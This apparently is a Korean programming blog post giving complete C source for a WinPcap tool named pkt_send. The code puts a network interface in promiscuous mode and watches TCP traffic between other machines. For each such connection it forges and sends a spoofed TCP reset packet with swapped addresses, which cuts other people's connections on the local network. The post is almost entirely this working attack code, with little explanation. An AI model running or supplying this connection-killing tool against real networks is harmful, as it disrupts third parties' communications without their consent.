My Drive

[winpcap] pkt_send 본문

programming

[winpcap] pkt_send

sunnyeo.park 2015. 7. 26. 14:39

//pkt_send.c


#include <stdio.h>

#include <pcap.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <string.h>

// #include <remote-ext.h>


typedef struct mac_address {

u_char byte1;

u_char byte2;

u_char byte3;

u_char byte4;

u_char byte5;

u_char byte6;

}mac_address;


typedef struct ip_address

{

u_char byte1;

u_char byte2;

u_char byte3;

u_char byte4;

}ip_address;


typedef struct ip_header

{

u_char ver_ihl;

u_char tos;

u_short tlen;

u_short identification;

u_short flags_fo;

u_char ttl;

u_char proto;

u_short crc;

ip_address saddr;

ip_address daddr;

u_int op_pad;

}ip_header;


typedef struct tcp_header

{

u_short sport;

u_short dport;

u_int seqnum;

u_int acknum;

u_char hlen;

u_char flags;

u_short win;

u_short crc;

u_short urgptr;

}tcp_header;


void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

void print_packet(u_char *pkt, int len);

void send_reset(mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win);

u_int iptoUINT(ip_address *ip);

u_short csum(unsigned short *buf, int nwords);


pcap_t *adhandle;

u_int localaddr;

struct sockaddr_in *lSock;


int main(int argc, char *argvp[])

{

pcap_if_t *alldevs;

pcap_if_t *d;

int inum;

int i = 0;

char errbuf[PCAP_ERRBUF_SIZE];

char *localIP;


if(pcap_findalldevs(&alldevs, errbuf) == -1) // 랜카드 검색

{

fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);

return 0;

}


for(d=alldevs; d; d=d->next) // 검색된 랜카드 정보 출력

{

printf("%d. %s", ++i, d->name);

if(d -> description)

printf(" (%s)\n", d->description);

else

printf(" (No description available)\n");

}


if(i==0)

{

printf("\nNo interfaces found! Make sure WinPcap is installed.\n");

return -1;

}


printf("Enter the interface number..(1-%d):", i);

scanf("%d", &inum); // 랜카드 선택


if(inum < 1 || inum > i)

{

printf("\nInterface number out of range.\n");

pcap_freealldevs(alldevs);

return -1;

}


for(d = alldevs, i=0; i<inum-1; d=d->next, i++);


lSock = (struct sockaddr_in *)(d->addresses->addr);

// localaddr = lSock->sin_addr.S_un.S_addr;

localaddr = lSock->sin_addr.s_addr;

printf("%d\n", localaddr);

localIP = inet_ntoa(lSock->sin_addr);

printf("Local Addr: %s\n", localIP);


if((adhandle=pcap_open_live(d->name, 65536, 1, 1000, errbuf)) == NULL) // 네트워크 패킷을 수집하기 위한 방법 설정

{

fprintf(stderr, "\n %s isn't supported by winpcap \n", d->name);

return -1;

}


printf("\nlistening on %s...\n\n", d->description);

pcap_freealldevs(alldevs);

pcap_loop(adhandle, 0, packet_handler, NULL); // packet_handler() 함수 호출하여 패킷 수집

pcap_close(adhandle);

return 0;

}


void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)

{

u_int ip_len;

mac_address *srcmac;

mac_address *destmac;

ip_header *iph;

tcp_header *tcph;

destmac = (mac_address *)pkt_data;

srcmac = (mac_address *)(pkt_data + 6);

iph = (ip_header *)(pkt_data + 14);


if(iph->proto == 0x06)

{

if(localaddr != iptoUINT(&iph->saddr) && localaddr != iptoUINT(&iph->daddr))

{

ip_len = (iph->ver_ihl & 0xf) * 4;

tcph = (tcp_header *)(pkt_data + 14 + ip_len);

if(tcph->flags != 0x04)

send_reset(srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win);

}

}

}


void send_reset(mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win)

{

u_short tcp_hdrcrc[16];

u_short ip_hdrcrc[10];

u_short tcp_tos = htons(0x06);

u_short tcp_hlen = htons(0x14);

u_short ip_tos = htons(0x0800);

ip_header iph;

tcp_header tcph;

u_char pkt[54]; // eth : 14 + ip : 20 + tcp : 20


printf("Attemping to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport), destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport));


// ip setting

iph.ver_ihl = 0x45; // version : 4 , length : 5

iph.tos = 0x01;

iph.tlen = htons(40);

iph.identification = htons(0x0800);

iph.flags_fo = 0x0;

iph.ttl = 0xff;

iph.proto = 0x06;

iph.crc = 0x00;

iph.saddr = *destip; // swap the source & dest ip

iph.daddr = *srcip;


// tcp setting

tcph.sport = dport; // swap the source & dest port

tcph.dport = sport;

tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);

tcph.acknum = tcph.seqnum + htonl(0x1);

tcph.hlen = 0x50;

tcph.flags = 0x04; // flag : RST

tcph.win = win;

tcph.urgptr = 0x00;

tcph.crc = 0x00;


memset(ip_hdrcrc, 0, 20); // ip header checksum : ipheader(20byte)

memcpy(ip_hdrcrc, &iph, 20);


iph.crc = csum(ip_hdrcrc, 10);


memset(tcp_hdrcrc, 0, 32); // tcp header checksum : tcpheader(20byte) + srcip(4byte) + destip(4byte) + ip header proto(2byte) + ip header len(2byte)

memcpy(tcp_hdrcrc, &tcph, 20);

memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);

memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);

memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);

memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);


tcph.crc = csum(tcp_hdrcrc, 16);


memcpy(pkt, (void *)srcmac, 6);

memcpy((void *)(pkt + 6), (void *)destmac, 6);

memcpy((void *)(pkt + 12), &ip_tos, 2);

memcpy((void *)(pkt + 14), &iph, 20);

memcpy((void *)(pkt + 14 + sizeof(ip_header)), &tcph, 20);


if(pcap_sendpacket(adhandle, pkt, sizeof(pkt)) != 0 )

fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(adhandle));

}


u_short csum (unsigned short *buf, int nwords)

{

unsigned long sum = 0;

for(sum = 0; nwords > 0 ; nwords --)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return (u_short)~sum;

}


u_int iptoUINT(ip_address *ip)

{

u_int ipaddr;

ipaddr = ip->byte4 | (ip->byte3 << 8);

ipaddr = ipaddr | (ip->byte2 << 16);

ipaddr = ipaddr | (ip->byte1 << 24);

return htonl(ipaddr);

}

'programming' 카테고리의 다른 글

[winpcap] pkt_dump  (0) 2015.07.26
[winpcap] udp_header  (0) 2015.07.26
[winpcap] tcp_header  (0) 2015.07.26
[winpcap] ip_header  (0) 2015.07.26
[winpcap] mac_address  (0) 2015.07.26
Comments